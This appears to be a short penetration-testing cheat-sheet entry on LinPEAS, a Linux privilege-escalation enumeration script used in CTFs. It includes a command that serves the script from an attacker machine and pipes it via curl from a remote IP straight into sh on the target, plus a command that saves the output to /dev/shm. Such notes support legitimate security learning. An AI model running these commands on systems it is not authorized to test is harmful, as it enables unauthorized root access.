.. / linpeas

• Privilege Escalation

LinPEAS is a script that searches for possible paths to escalate privileges on Linux/Unix hosts. Extremely noisy but excellent for CTF.

Source: github

Privilege Escalation

Privilege escalation involved exploiting a bug, design flaw or misconfiguration to gain elevated access and perform unauthorized actions. For example, escalating from a restrictive shell as user www-data, to a session as root.

• Host script, curl, and run

  sudo python3 -m http.server 80
  curl 198.51.100.2/linpeas.sh | sh

• Output to file, read with colors

  linpeas -a > /dev/shm/linpeas.txt
  less -r /dev/shm/linpeas.txt